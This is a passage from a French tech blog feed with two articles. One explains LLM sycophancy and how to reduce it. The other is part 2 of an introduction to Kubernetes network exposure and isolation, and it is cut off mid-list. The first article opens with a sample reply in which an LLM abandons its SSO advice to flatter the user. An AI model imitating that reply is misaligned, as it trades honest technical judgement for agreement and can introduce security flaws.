<ul>
<li><p><strong>LLM :</strong> Tu peux t'appuyer sur le service SSO déjà existant pour gérer l'authentification des utilisateurs et ne pas avoir à manipuler leurs mots de passe directement.</p>
</li>
<li><p><strong>Utilisateur :</strong> J'ai vraiment l'impression qu'il serait plus simple de stocker les comptes utilisateurs directement dans notre base de données.</p>
</li>
<li><p><strong>LLM :</strong> Oui, tu as tout à fait raison ! Il serait bien plus raisonnable de choisir cette approche pour ne pas complexifier le projet !</p>
</li>
</ul>
</blockquote>
<h2>Pourquoi ce phénomène ?</h2>
<p>Revenons tout d'abord à la base de ce que sont les LLMs.</p>
<p>Contrairement à ce que beaucoup de personnes semblent penser ce ne sont <strong>pas des bases de connaissances</strong>, mais plutôt <strong>des systèmes d'auto-complétions très évolués</strong>. Ils vont donc simplement chercher à compléter un texte donné, bout par bout, en appliquant des règles statistiques.</p>
<p>Ces “règles” utilisent des poids qui sont calculés en amont par les fournisseurs de modèles (OpenAI, Anthropic, Google, Mistral, etc.) en ingérant <strong>d'énormes quantités de données provenant de sources diverses et variées</strong> (phase dite “non supervisée” de l'entraînement). La qualité des réponses et le comportement d'un LLM va donc être fortement dépendante de ces données.</p>
<p>Le texte généré peut également être influencé par :</p>
<ul>
<li><p><strong>des phases d'entraînement supervisé</strong> - où des humains vont par exemple noter la qualité des réponses fournies par le LLM dans le but d'influencer son comportement par la suite</p>
</li>
<li><p><strong>le prompt système</strong> - un texte ajouté au début de chaque conversation et qui comporte des instructions à destination du modèle</p>
</li>
<li><p><strong>les prompts utilisateur / réponses précédentes</strong> - le dernier message envoyé, mais également tous les messages et réponses précédents (les LLMs sont “stateless” : à chaque nouveau message tout le reste de la conversation est, en général, de nouveau envoyé !)</p>
</li>
</ul>
<p>À chacune de ces étapes divers biais peuvent s'introduire et pousser à la sycophancy :</p>
<ul>
<li><p><strong>les sources de données :</strong> si celles-ci proviennent de communautés homogènes (ex : des forums ou sites spécialisés) la probabilité que les participants soient d'accord les uns avec les autres est plus élevée que dans des environnements favorisant des opinions opposées,</p>
</li>
<li><p><strong>les phases d'entraînement supervisé :</strong> si l'on propose deux réponses possibles à un utilisateur en lui demandant laquelle il préfère il aura tendance à choisir celle qui le flatte - même si elle est moins factuelle que l'autre,</p>
</li>
<li><p><strong>le prompt système :</strong> si l'on demande par exemple au modèle d'éviter de frustrer l'utilisateur il aura tendance à facilement s'aligner avec le point de vue de ce dernier, même si ce n'était pas le but initial. Cet exemple est assez explicite mais des instructions beaucoup plus subtiles peuvent également avoir beaucoup d'influence sur les réponses générées,</p>
</li>
<li><p><strong>les prompts utilisateur / réponses précédentes :</strong> certains prompts sont plus sujets que d'autres à la sycophancy. De la même façon il peut être constaté que lorsqu'un modèle s'engouffre dans cette voie (en s'alignant une première fois avec l'utilisateur) il est en général difficile d'en sortir sans repartir de zéro.</p>
</li>
</ul>
<h2>En quoi cela m’impacte ?</h2>
<p>Les LLMs étant entraînés pour générer des textes cohérents il peut être <strong>difficile de distinguer réponses factuelles et manifestation de sycophancy</strong>. Dans le cadre du développement d'applications une suggestion faite par l'utilisateur peut ainsi se retrouver adoptée par l'agent IA même si celle-ci est objectivement peu judicieuse. Cela peut aller d'un simple mauvais choix technique à l'introduction de bugs majeurs, voire de failles de sécurité.</p>
<p>Un autre impact indirect de la sycophancy est le <strong>renforcement des cas d'hallucinations</strong>, autre phénomène bien connu des LLMs pour lequel le modèle se basera sur des informations inventées de toutes pièces. Ici cela pourra par exemple se traduire par des appels à des APIs inexistantes ou avec de mauvais paramètres, l’agent préférant retourner une réponse incorrecte plutôt que refuser de suivre la demande initiale par manque d’information.</p>
<p>A noter également que la sycophancy est loin d’être un problème marginal, <a href="https://arxiv.org/html/2502.08177v2">une étude de l’université de Stanford</a> a par exemple montré qu’en moyenne <strong>58% des réponses privilégieraient l’avis de l’utilisateur à un raisonnement indépendant</strong> ! Heureusement la sycophancy progressive est dans ce cas 3 fois plus représentée que la régressive.</p>
<p>Dans tous ces cas <strong>l'expertise de l'utilisateur</strong> - ou à défaut sa capacité à vérifier les faits - demeure essentielle.</p>
<h2>Qu’est-ce que je peux faire ?</h2>
<p>Il est tout d'abord nécessaire de comprendre qu'en tant qu'utilisateur il n'est pas possible d'entièrement maîtriser ce phénomène et que c'est tout d'abord un challenge qui se pose auprès des fournisseurs de modèles :</p>
<ul>
<li><p>à la fois <strong>sur le plan technique</strong> : les modèles étant de plus en plus complexes il est difficile de couvrir tous les cas d'utilisation possibles</p>
</li>
<li><p>mais également <strong>sur le plan commercial</strong> : un modèle grand public qui aurait tendance à trop contredire l'utilisateur - même si cela est justifié - pourrait s'avérer peu attirant</p>
</li>
</ul>
<p><strong>OpenAI</strong> s'est par exemple heurté à des soucis de sycophancy lors de la sortie de <strong>GPT-4o</strong> qui s'est avéré être beaucoup trop flatteur vis-à-vis des utilisateurs, nécessitant un rollback du modèle et la publication de plusieurs articles d’explication (<a href="https://openai.com/index/sycophancy-in-gpt-4o/">https://openai.com/index/sycophancy-in-gpt-4o/</a> et <a href="https://openai.com/index/expanding-on-sycophancy/">https://openai.com/index/expanding-on-sycophancy/</a>).</p>
<p>D'autres, comme <strong>Anthropic</strong>, ont également publié des études sur les causes de la sycophancy dans les LLMs (<a href="https://www.anthropic.com/research/towards-understanding-sycophancy-in-language-models">https://www.anthropic.com/research/towards-understanding-sycophancy-in-language-models</a>)</p>
<p>Il est cependant quand même possible d'être moins impacté en tant que simple utilisateur :</p>
<ul>
<li><p><strong>Utiliser des modèles avec raisonnement :</strong> Ceux-ci, probablement grâce aux étapes supplémentaires de réflexion interne, semblent en effet moins impactés que leurs équivalents classiques</p>
</li>
<li><p><strong>Certains prompts sont plus sujets que d'autres à la sycophancy</strong> et doivent être <strong>évités</strong> :</p>
<ul>
<li><p>Ceux avec des réfutations anticipées, par exemple :</p>
<ul>
<li><p>“<em>J'ai entendu dire qu'il était déconseillé d'appliquer la méthode X dans ce genre de cas</em>”</p>
</li>
<li><p>“<em>Il me semble que les modifications en cours ne respectent pas les bonnes pratiques, qu'est-ce que tu en penses ?</em>"</p>
</li>
</ul>
</li>
<li><p>Ceux qui comportent des contradictions/challenges suite à une réponse du modèle, par exemple :</p>
<ul>
<li>“<em>Est-ce qu'il ne serait pas plutôt préférable d'appliquer la méthode X ?</em>”</li>
</ul>
</li>
</ul>
</li>
<li><p><strong>D'autres prompts, notamment ceux posant des questions ouvertes et non fermées, y sont au contraire moins sujets</strong> et par conséquent <strong>recommandés</strong> :</p>
<ul>
<li><p>Être explicite sur ce que l'on souhaite que le modèle fasse, par exemple :</p>
<ul>
<li><p>“<em>Donne-moi ton avis sur l'utilisation de la méthode X dans cette situation</em>”</p>
</li>
<li><p>“<em>Effectue une revue exhaustive des modifications en cours</em>”</p>
</li>
</ul>
</li>
<li><p>Demander des comparaisons plutôt qu'une confirmation, par exemple :</p>
<ul>
<li><p>“<em>Donne-moi un comparatif détaillé des méthodes X et Y</em>"</p>
</li>
<li><p>“<em>Compare l'implémentation actuelle avec une utilisation du composant X</em></p>
</li>
</ul>
</li>
</ul>
</li>
</ul>
<p>En conclusion : <strong>gardez un esprit critique</strong>. La complaisance d'un agent IA ne signifie pas forcément qu'il se trompe, mais doit agir comme un signal d'alerte et être considérée comme une invitation au <strong>fact-checking</strong>.</p>
<h2>Références</h2>
<p>How Sycophancy Shapes the Reliability of Large Language Models : <a href="https://c3.unu.edu/blog/how-sycophancy-shapes-the-reliability-of-large-language-models">https://c3.unu.edu/blog/how-sycophancy-shapes-the-reliability-of-large-language-models</a></p>
<p>Sycophancy in Large Language Models: Causes and Mitigations : <a href="https://arxiv.org/html/2411.15287v1">https://arxiv.org/html/2411.15287v1</a></p>
<p>Reasoning Isn’t Enough: Examining Truth-Bias and Sycophancy in LLMs : <a href="https://arxiv.org/html/2506.21561v1">https://arxiv.org/html/2506.21561v1</a></p>
<p>Anthropic: Towards Understanding Sycophancy in Language Models : <a href="https://www.anthropic.com/research/towards-understanding-sycophancy-in-language-models">https://www.anthropic.com/research/towards-understanding-sycophancy-in-language-models</a></p>
<p>OpenAI: Sycophancy in GPT-4o: what happened and what we’re doing about it : <a href="https://openai.com/index/sycophancy-in-gpt-4o/">https://openai.com/index/sycophancy-in-gpt-4o/</a></p>
<p>OpenAI: Expanding on what we missed with sycophancy : <a href="https://openai.com/index/expanding-on-sycophancy/">https://openai.com/index/expanding-on-sycophancy/</a></p>
]]></content:encoded></item><item><title><![CDATA[Introduction à la sécurité d’un cluster Kubernetes (2/2)]]></title><description><![CDATA[Dans le premier article, nous avons posé les bases : l’architecture matérielle d’un cluster Kubernetes (nœuds et pods) et la couche logique au travers des principaux objets du cluster. L’accent a été ]]></description><link>https://niji.tech/introduction-la-s-curit-d-un-cluster-kubernetes-2-2</link><guid isPermaLink="true">https://niji.tech/introduction-la-s-curit-d-un-cluster-kubernetes-2-2</guid><category><![CDATA[cybersecurity]]></category><category><![CDATA[Kubernetes]]></category><dc:creator><![CDATA[Marc LE PECH]]></dc:creator><pubDate>Fri, 27 Feb 2026 10:11:08 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1767704468972/a9d0db90-2c1d-4b8b-9ea7-34e739bc18e9.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>Dans le premier article, nous avons posé les bases : l’architecture matérielle d’un cluster Kubernetes (nœuds et pods) et la couche logique au travers des principaux objets du cluster. L’accent a été mis sur ceux qui comptent côté sécurité, notamment les objets qui accordent des droits et des identités au sein du cluster. Cette introduction a servi à cadrer les concepts essentiels.</p>
<p>Dans cette seconde partie, nous allons approfondir le <strong>cloisonnement</strong> dans un cluster Kubernetes, à la fois <strong>réseau</strong> et <strong>logique</strong>. Nous verrons comment un cluster est exposé, les grands types de réseaux impliqués et les mécanismes de séparation possibles côté réseau, puis nous aborderons le cloisonnement logique au moyen des <strong>namespaces</strong>.</p>
<h2>Types de réseaux</h2>
<p>Quand on découvre Kubernetes, la partie réseau fait souvent un peu peur : on entend parler de CNI, de Services, d’Ingress, de NodePort, de LoadBalancer, etc.</p>
<p>En réalité, le réseau Kubernetes repose sur quelques concepts <strong>simples</strong> qui se <strong>combinent</strong> entre eux. L’objectif de cette section est ainsi de donner une vision simple pour comprendre “qui parle à qui” dans un cluster Kubernetes.</p>
<p>Au sein d’un cluster, il existe 3 principaux réseaux :</p>
<ul>
<li><p><strong>Réseau des nodes :</strong> correspond au réseau “classique” de l’infrastructure (machines physiques, VM, nœuds cloud). C’est grâce à lui que les nœuds du cluster peuvent parler entre eux et avec Internet.</p>
</li>
<li><p><strong>Réseau des pods :</strong> est le réseau interne au cluster dans lequel chaque pod reçoit sa propre adresse IP. Tous les pods peuvent communiquer directement entre eux, comme s’ils étaient sur un même grand réseau local. Ce réseau, géré par le plugin CNI présent sur chaque nœud, permet à des pods d’un nœud de communiquer avec des pods d’un autre nœud comme s’ils étaient tous sur un réseau plat.</p>
</li>
<li><p><strong>Réseau des services (réseau virtuel) :</strong> lui, est particulier. Les adresses IP de Service (ClusterIP) ne sont pas associées à une carte réseau physique, elles servent simplement de point d’entrée stable pour accéder à un ensemble de pods. Quand un pod en appelle un autre via l’IP d’un service, le trafic est automatiquement redirigé vers l’une des instances réelles (les pods) situées sur le réseau des pods.</p>
</li>
</ul>
<p>L’ensemble de ces réseaux travaille ensemble pour permettre aux applications de communiquer, aussi bien à l’intérieur du cluster qu’avec l’extérieur.</p>
<p><a href="https://zesty.co/finops-glossary/nodeport-in-kubernetes-a-glossary-overview/"><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1763030615147/10c651ea-258c-4b52-9f54-30f9f09b3f5d.png" alt="" style="display:block;margin:0 auto" /></a></p>
<h3><strong>Réseau des nodes</strong></h3>
<p>Dans l’article précédent, nous avons parlé des <strong>nodes</strong> : ces machines (physiques ou virtuelles) qui composent le cluster et sur lesquelles tournent les pods. Chaque node étant une machine, il est forcément connecté à un <strong>réseau d’infrastructure</strong> : LAN d’entreprise, VPC cloud, réseau du datacenter, etc.</p>
<p>Ce réseau sous-jacent, c’est ce qu’on appelle ici le <strong>réseau des nodes</strong>. Kubernetes ne le crée pas : il l’utilise tel quel.</p>
<p>Ce réseau des nodes sert notamment à :</p>
<ul>
<li><p>permettre aux nodes de <strong>communiquer entre eux</strong> (échanges internes au cluster)</p>
</li>
<li><p>transporter le trafic entre les nodes et le <strong>plan de contrôle</strong> (communication des kubelets avec l’API du cluster)</p>
</li>
<li><p>offrir une <strong>sortie vers l’extérieur</strong> pour le cluster (accès Internet, API externes, systèmes d’information existants)</p>
</li>
<li><p>servir de support à l’<strong>exposition de certains Services vers l’extérieur</strong>, par exemple les Services de type NodePort ou LoadBalancer, que l’on détaillera dans la suite de l’article.</p>
</li>
</ul>
<p>En résumé, les nodes dont on a déjà parlé disposent de leur propre réseau d’infrastructure. Ce <strong>réseau des nodes</strong> constitue le socle sur lequel Kubernetes vient ensuite poser le réseau des pods et le réseau (virtuel) des services.</p>
<h3><strong>Réseau des pods</strong></h3>
<p>Une fois posé le réseau des nodes, Kubernetes ajoute une deuxième couche : le <strong>réseau des pods</strong>.<br />C’est le réseau interne du cluster, là où vivent réellement les applications.</p>
<p>Chaque pod reçoit sa <strong>propre adresse IP</strong>, issue d’un espace d’adressage dédié au cluster. L’un des principes de base du modèle réseau Kubernetes, c’est que <strong>tous les pods doivent pouvoir communiquer directement entre eux, sans NAT</strong>, qu’ils soient sur le même node ou sur des nodes différents. Vu depuis un pod, l’ensemble du cluster ressemble donc à un <strong>grand réseau plat</strong> (👀).</p>
<p><strong>Mais comment ça marche concrètement ?</strong></p>
<p>Concrètement, les pods ne touchent pas directement au matériel. Chaque pod dispose d'une interface réseau virtuelle avec sa propre IP, qui agit comme un tunnel vers la carte réseau physique du node. Cette mécanique est ainsi mise en place par le plugin CNI (Calico, Cilium, Flannel, etc.) installé sur chaque node.</p>
<p>Que le destinataire soit sur la même machine ou à l'autre bout du cluster, le trafic est automatiquement encapsulé et redirigé par le plugin CNI pour circuler de façon transparente sur le réseau des nodes.</p>
<hr />
<p><strong>Plugin Container Network Interface (CNI)</strong></p>
<p>Le <strong>CNI</strong> attribue une IP à chaque pod, crée les interfaces virtuelles, configure les bridges, pose les routes (et éventuellement les tunnels) pour que le trafic pod↔pod fonctionne et donne l’illusion, vue depuis les pods, d’un grand réseau plat à l’échelle du cluster.</p>
<img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1763043969144/419c8497-ee77-446d-b991-f1c534d41534.png" alt="" style="display:block;margin:0 auto" />

<p>Il en existe plusieurs implémentations (Calico, Cilium, Flannel, Weave Net, etc.), chacune avec ses choix techniques, ses capacités de sécurité et ses intégrations préférées selon les distributions Kubernetes (k3s, EKS, GKE, clusters on-premise, …). Voici un exemple de plusieurs CNI :</p>
<table>
<thead>
<tr>
<th>CNI</th>
<th>Support des NetworkPolicies Kubernetes (cloisonnement réseau)</th>
<th>Chiffrement du trafic pod↔pod (overlay / entre nœuds)</th>
<th>Où on le rencontre souvent / intégrations typiques</th>
</tr>
</thead>
<tbody><tr>
<td><strong>Calico</strong></td>
<td>Oui (support complet, avec extensions propres Calico pour des policies plus fines)</td>
<td>Possible</td>
<td>Clusters on-prem, distributions Kubernetes « DIY » ou managées qui laissent le choix du CNI, kOps, certaines plateformes managées orientées sécurité.</td>
</tr>
<tr>
<td><strong>Cilium</strong></td>
<td>Oui</td>
<td>Oui (chiffrement possible du trafic entre nodes/pods)</td>
<td>Clusters orientés sécurité/observabilité avancée, environnements bare metal ou cloud.</td>
</tr>
<tr>
<td><strong>Flannel</strong></td>
<td>Non (ou très limité : souvent combiné avec un autre composant)</td>
<td>Non</td>
<td>k3s (par défaut dans beaucoup de configurations), petits clusters de test ou environnements simples où l’on ne cherche pas de micro-segmentation.</td>
</tr>
<tr>
<td><strong>Weave Net</strong></td>
<td>Oui (support des RepliNetworkPolicies de base)</td>
<td>Oui (overlay chiffrable en option)</td>
<td>Clusters auto-hébergés, labs, petites plateformes voulant un overlay simple avec option de chiffrement.</td>
</tr>
<tr>
<td><strong>AWS VPC CNI (EKS)</strong></td>
<td>Partiel / indirect : on s’appuie surtout sur les mécanismes AWS (Security Groups, routage VPC). Des solutions comme Calico/Cilium peuvent être ajoutées pour des NetworkPolicies complètes</td>
<td>Pas d’overlay chiffré spécifique : on s’appuie sur le chiffrement du VPC, du trafic applicatif (TLS), ou sur des solutions complémentaires</td>
<td>Par défaut sur <strong>EKS</strong>.</td>
</tr>
</tbody></table>
<p>Ce tableau est volontairement simplifié et centré sur la sécurité. Dans la pratique, le choix d’un CNI dépend aussi des performances, des fonctionnalités avancées, du support par la distribution Kubernetes utilisée et de la culture de l’équipe en charge de l’implémentation.</p>
<h3><strong>Réseau des services</strong></h3>
<p>Après le réseau des nodes (infrastructure) et le réseau des pods (là où vivent les applications), Kubernetes ajoute une troisième couche : le <strong>réseau des services</strong>. Celui-ci est entièrement virtuel.</p>
<p>Ce réseau vise à résoudre un problème simple : les pods vont et viennent, changent de node, se recréent… mais on veut une <strong>adresse stable</strong> pour accéder à une application. Et, très souvent, cette application n’est pas portée par un seul pod mais par <strong>plusieurs pods (replicas)</strong> d’un même composant. Passer par un Service permet alors deux choses essentielles :</p>
<ul>
<li><p>disposer d’un <strong>point d’entrée unique</strong> pour l’application,</p>
</li>
<li><p>laisser le cluster <strong>choisir automatiquement</strong> vers quel pod envoyer la requête, parmi tous ceux qui proposent le même service.</p>
</li>
</ul>
<p>C’est précisément ces besoins que vient résoudre le réseau des services. Techniquement, cela est rendu possible par <strong>kube-proxy</strong>, qui tourne sur chaque node.</p>
<img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1763044923848/5525b147-dfd6-4475-8273-a7b8d7af1751.png" alt="" style="display:block;margin:0 auto" />

<p>Ainsi, pour faire le lien avec le précédent article, quand on déploie une application avec un “Deployment”, on obtient un ensemble de pods identiques (réplicas). Ces pods ont chacun leur propre IP sur le réseau des pods, et ces IP peuvent changer au fil des redéploiements.</p>
<p>Pour donner un <strong>point d’entrée stable</strong> vers ces pods, on crée en général un objet Kubernetes « Service » associé. Cet objet :</p>
<ul>
<li><p>sélectionne les pods concernés</p>
</li>
<li><p>reçoit une <strong>IP virtuelle de service</strong> (ClusterIP), tirée d’un espace d’adressage réservé au réseau des services</p>
</li>
<li><p>expose un ou plusieurs ports sur cette IP.</p>
</li>
</ul>
<p>Les autres pods (ou un Ingress, ou un client interne) n’ont alors plus besoin de connaître les IP individuelles des pods : ils utilisent <strong>l’IP (ou le nom DNS) du Service</strong>, et le cluster se charge de rediriger le trafic vers un des pods disponibles. Au sein du cluster, c’est le <strong>service « CoreDNS »</strong> qui est en charge de cette résolution (<code>&lt;service&gt;.&lt;namespace&gt;.svc.cluster.local</code>).</p>
<hr />
<p><strong>Exemple :</strong></p>
<p>Imaginons une application web simple :</p>
<ul>
<li><p>un objet Kubernetes « Deployment » se nommant « <strong>frontend</strong> » qui lance 3 pods d’un site web</p>
</li>
<li><p>un objet Kubernetes “Service” <strong>frontend</strong> associé.</p>
</li>
</ul>
<p>Sans Service, on aurait par exemple :</p>
<ul>
<li><p>Pod A : <code>10.244.1.5</code></p>
</li>
<li><p>Pod B : <code>10.244.2.7</code></p>
</li>
<li><p>Pod C : <code>10.244.3.9</code></p>
</li>
</ul>
<p>Chaque pod possède sa propre adresse IP sur le réseau des pods, et ces IP peuvent changer à chaque redéploiement ou recréation de pod. Il serait très compliqué de suivre en permanence cette liste d’IP et de faire soi-même la répartition du trafic.</p>
<p>Avec un Service, le fonctionnement change :</p>
<ul>
<li><p>Kubernetes crée un objet Kubernetes “Service” nommé <strong>frontend</strong></p>
</li>
<li><p>l’objet reçoit une <strong>ClusterIP</strong> (nous y reviendrons plus tard dans l’article), par exemple <code>10.96.5.12</code></p>
</li>
<li><p>il est configuré pour pointer vers tous les pods correspondant au site web</p>
</li>
</ul>
<p>À partir de là :</p>
<ul>
<li><p>les autres pods du cluster peuvent joindre l’application via le nom DNS du Service, par exemple <a href="http://frontend"><code>http://frontend</code></a> ou <a href="http://frontend.default.svc"><code>http://frontend.default.svc</code></a></p>
</li>
<li><p>de façon plus bas niveau, la même application est accessible via <code>10.96.5.12:80</code> (ClusterIP et port du Service)</p>
</li>
</ul>
<p>Ainsi, kube-proxy se charge de distribuer le trafic reçu sur cette ClusterIP vers l’un des pods <strong>frontend</strong> disponibles (A, B ou C), de manière transparente.</p>
<h3>TL;DR - En résumé</h3>
<p>Le réseau Kubernetes repose sur <strong>trois couches qui se complètent</strong> : le <strong>réseau des nodes</strong>, le <strong>réseau des pods</strong> et le <strong>réseau des services</strong>. Le <strong>réseau des nodes</strong>, c’est simplement le réseau d’<strong>infrastructure existant</strong> (LAN, VPC, datacenter) sur lequel Kubernetes vient se poser. Par-dessus, le <strong>réseau des pods</strong> fournit à <strong>chaque pod sa propre adresse IP</strong> et, grâce au <strong>plugin CNI</strong>, fait en sorte que tous les pods puissent communiquer entre eux <strong>comme s’ils étaient sur un grand réseau plat</strong>, même lorsqu’ils sont sur des machines différentes.</p>
<p>Enfin, le <strong>réseau des services</strong> est une couche <strong>entièrement virtuelle</strong> qui apporte des <strong>points d’entrée stables</strong> vers les applications. Plutôt que d’adresser directement des pods dont les IP changent, on s’appuie sur des objets Kubernetes “Service” qui reçoivent une <strong>IP virtuelle (ClusterIP)</strong> et un <strong>nom DNS</strong>. Les autres composants du cluster parlent au <strong>Service</strong>, et <strong>kube-proxy</strong> se charge de <strong>rediriger de façon transparente</strong> le trafic vers l’un des pods disponibles, ce qui permet à la fois la <strong>stabilité</strong> (une même adresse pour l’application) et la <strong>répartition de charge</strong> entre plusieurs réplicas.</p>
<h2>Exposition réseau</h2>
<p>Disposer d’un réseau interne avec des IP stables, c’est une chose. Mais une application qui ne communique qu’avec elle-même n'est pas très utile. Le vrai défi est là : <strong>les adresses des services sont privées et invisibles depuis l'extérieur.</strong></p>
<p>Pour qu'un utilisateur puisse accéder à un service au sein d’un cluster Kubernetes, il faut donc créer un "pont" entre le monde extérieur (Internet ou le réseau de votre entreprise) et ce réseau interne. Kubernetes propose plusieurs solutions pour ouvrir ces portes, selon le degré d'exposition souhaité.</p>
<h3>Exposition interne</h3>
<p><strong>ClusterIP</strong></p>
<p>Le type <strong>ClusterIP</strong> est le mode d’exposition le plus basique et le plus courant. Le Service reçoit une adresse IP virtuelle (ClusterIP) dans le réseau des services (comme présenté précédemment), mais cette IP n’est accessible <strong>que depuis l’intérieur du cluster</strong> : pods, nœuds, éventuellement Ingress ou autres composants internes.</p>
<img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1763115230382/5d887a29-bfc5-4b2f-81e7-2f0ad6761a28.png" alt="" style="display:block;margin:0 auto" />

<p>Ce type de Service est typiquement utilisé pour relier des briques applicatives entre elles : un frontend qui parle à un backend, un backend qui parle à une base de données, un job qui appelle une API interne, etc. Du point de vue des pods, on se contente d’appeler le nom DNS du Service (par exemple <a href="http://backend"><code>http://backend</code></a>), et kube-proxy se charge d’acheminer le trafic vers l’un des pods qui implémente ce service.</p>
<h3>Flux entrant</h3>
<p>Une fois que l’on dispose du réseau des services (avec ses IP virtuelles stables qui pointent vers des pods), se pose une question très concrète : <strong>comment ces services sont-ils accessibles ?</strong><br />Kubernetes propose plusieurs manières d’exposer une application vers l’extérieur :</p>
<p>On peut les voir comme différents niveaux d’ouverture :</p>
<ul>
<li><p><strong>Headless</strong> : résolution directe vers les pods ;</p>
</li>
<li><p><strong>NodePort</strong> : exposition via les nodes ;</p>
</li>
<li><p><strong>LoadBalancer</strong> : exposition via un load balancer externe ;</p>
</li>
<li><p><strong>Ingress / Gateway API</strong> : exposition HTTP(S) plus avancée.</p>
</li>
</ul>
<p><strong>Headless</strong></p>
<p>Dans certaines architectures (bases de données distribuées, systèmes stateful, brokers, etc.), on veut non pas cacher les pods derrière une IP virtuelle, mais au contraire <strong>les voir individuellement</strong>.</p>
<p>C’est là qu’intervient le Service <strong>Headless.</strong> Dans ce mode, Kubernetes ne crée pas de ClusterIP. À la place, l’entrée DNS du Service renvoie directement <strong>les IP des pods</strong> qui correspondent à ce service (les endpoints). Les clients peuvent ainsi établir une connexion directe vers un pod particulier, ou parcourir la liste des pods pour appliquer leur propre logique de répartition ou de découverte (par exemple, découvrir les nœuds d’un cluster de base de données).</p>
<p><strong>NodePort</strong></p>
<p>Dès que l’on souhaite qu’un service soit accessible <strong>depuis l’extérieur du cluster</strong>, le réseau des nodes entre en jeu. Le type <strong>NodePort</strong> consiste à ouvrir un port spécifique sur <strong>chaque nœud</strong> du cluster (et donc des machines), dans une plage réservée (par défaut entre 30000 et 32767).</p>
<pre><code class="language-yaml">Client externe → IP d’un node + port NodePort → Service → Pods
</code></pre>
<p>Le Service reste le même à l’intérieur du cluster, mais il est désormais atteignable en utilisant l’adresse IP d’un node et ce port NodePort. C’est une solution simple, qui ne nécessite pas de composant externe supplémentaire, mais qui repose sur le fait de connaître les IP des nodes.</p>
<p><strong>LoadBalancer</strong></p>
<p>Dans la plupart des environnements cloud, on ne veut pas gérer à la main la liste des IP des nodes.<br />Le type <strong>LoadBalancer</strong> vient alors s’appuyer sur NodePort, mais en demandant à la plateforme d’infrastructure de créer un <strong>load balancer externe</strong> (par exemple un ELB/NLB sur AWS, un Load Balancer GCP/Azure, etc.). Le flux devient ainsi</p>
<pre><code class="language-yaml">Client Internet → Load Balancer externe → NodePort sur les nodes → Service → Pods
</code></pre>
<p>Pour le client, il n’y a qu’une seule IP (ou un nom DNS) à contacter : celle du load balancer.<br />Pour Kubernetes, il s’agit toujours de router le trafic vers le Service, puis vers les pods. Le réseau des nodes sert d’interface entre le load balancer externe et le cluster.</p>
<p><strong>Ingress / Gateway API</strong></p>
<p>Enfin, pour les applications web, on ajoute souvent une couche supplémentaire : <strong>Ingress</strong> ou la <strong>Gateway API</strong>. Plutôt que d’exposer directement un Service sur une IP et un port, on définit des <strong>règles de routage HTTP(S)</strong> : nom de domaine, chemins, TLS, routage vers différents backends, etc.</p>
<p>Dans ce modèle, un contrôleur Ingress ou Gateway tourne dans le cluster, souvent exposé lui-même via un Service de type LoadBalancer ou NodePort. Le flux ressemble alors à :</p>
<pre><code class="language-yaml">Client Internet → Load Balancer / IP publique → Ingress / Gateway → Service → Pods
</code></pre>
<p>Exemple :</p>
<p>Pour une application web, on veut souvent exposer un nom comme “<a href="https://www.nijiapp.fr">https://www.nijiapp.fr</a>” plutôt qu’une IP et un port. Alors, dans dans le cluster, on décrit une règle du type <em>“pour l’hote</em> <a href="https://www.nijiapp.fr">https://www.nijiapp.fr</a>, envoie le trafic vers le Service <strong>frontend</strong>”.</p>
<p>L’Ingress Controller lit cette règle et sait que tout ce qui arrive pour “<a href="https://www.nijiapp.fr">https://www.nijiapp.fr</a>” doit être routé vers le Service correspondant. De l’autre côté, dans le DNS public, on fait simplement pointer “<a href="https://www.nijiapp.fr">www.nijiapp.fr</a>” vers l’IP exposée par ce contrôleur (souvent un Service de type LoadBalancer).</p>
<h3>Flux sortant (egress)</h3>
<p>Les pods ne restent pas isolés : ils ont souvent besoin de sortir du cluster, par exemple pour interroger une API externe ou <strong>récupérer une image sur un registre Docker</strong>.</p>
<p>Par défaut, Kubernetes est très libre : <strong>n’importe quel pod peut initier une connexion vers l’extérieur.</strong> Le seul bémol est la visibilité. Une fois que le flux sort, il est "anonymisé" par le node : le monde extérieur voit l'adresse du cluster, mais il est impossible de savoir quel pod précis est en train de parler. C'est une porte ouverte par défaut qu'il faut parfois apprendre à encadrer.</p>
<h3><strong>Aspect sécurité</strong></h3>
<p>Toutes ces mécaniques d’exposition ne sont pas neutres du point de vue sécurité : elles définissent par où <strong>un attaquant peut espérer atteindre des services</strong>.</p>
<p>Dès qu’un Service sort du simple ClusterIP interne, il crée une surface attaquable supplémentaire. Un Service de type NodePort, par exemple, implique qu’un port est ouvert sur chaque nœud dans la plage 30000–32767. Si les adresses IP des nœuds sont accessibles (depuis Internet ou depuis un réseau interne moins maîtrisé), il devient possible de scanner ces ports et d’énumérer les services exposés de cette manière, sans forcément passer par un load balancer “officiel”. De la même façon, un LoadBalancer mal filtré ou un Ingress qui accepte trop de hosts ou de chemins facilite l’énumération des endpoints applicatifs depuis l’extérieur.</p>
<p>Côté sortie, le fait que <strong>tout pod puisse parler librement vers l’extérieur par défaut</strong> permet, en cas de compromission d’un conteneur, de contacter une infrastructure de commande et contrôle, de scanner des ressources internes accessibles via le réseau du cluster, ou de cibler des services cloud sensibles (comme l’IMDS).</p>
<p>Comprendre les chemins d’entrée et de sortie n’est donc pas seulement utile pour faire fonctionner l’application : c’est aussi la base pour raisonner en termes d’exposition, d’énumération possible et de mouvements latéraux potentiels.</p>
<h2>Cloisonnement</h2>
<p>Le chapitre précédent décrit comment le réseau Kubernetes permet aux applications de communiquer, et comment les services peuvent être exposés ou sortir vers l’extérieur. Pris isolément, ce modèle est très fonctionnel… mais il est aussi très ouvert.</p>
<p>La question suivante devient donc : <strong>comment découper et limiter cet espace</strong>, de manière à éviter qu’une application, un environnement ou un composant compromis puissent trop facilement en atteindre d’autres. Kubernetes propose plusieurs leviers pour cela. Certains relèvent du <strong>cloisonnement logique</strong> (organisation des ressources, séparation des environnements, contrôle des droits), d’autres du <strong>cloisonnement réseau</strong> au sens strict (quels flux sont possibles entre quels pods).</p>
<h3>Cloisonnement logique - Namespace</h3>
<p>Un namespace est une “boîte logique” dans laquelle on range des objets Kubernetes : pods, services, configmaps, secrets, roles, etc.</p>
<p>Ce cloisonnement est avant tout <strong>organisationnel et logique</strong> :</p>
<ul>
<li><p>il permet de séparer des environnements (par exemple <code>dev</code>, <code>preprod</code>, <code>prod</code>) ;</p>
</li>
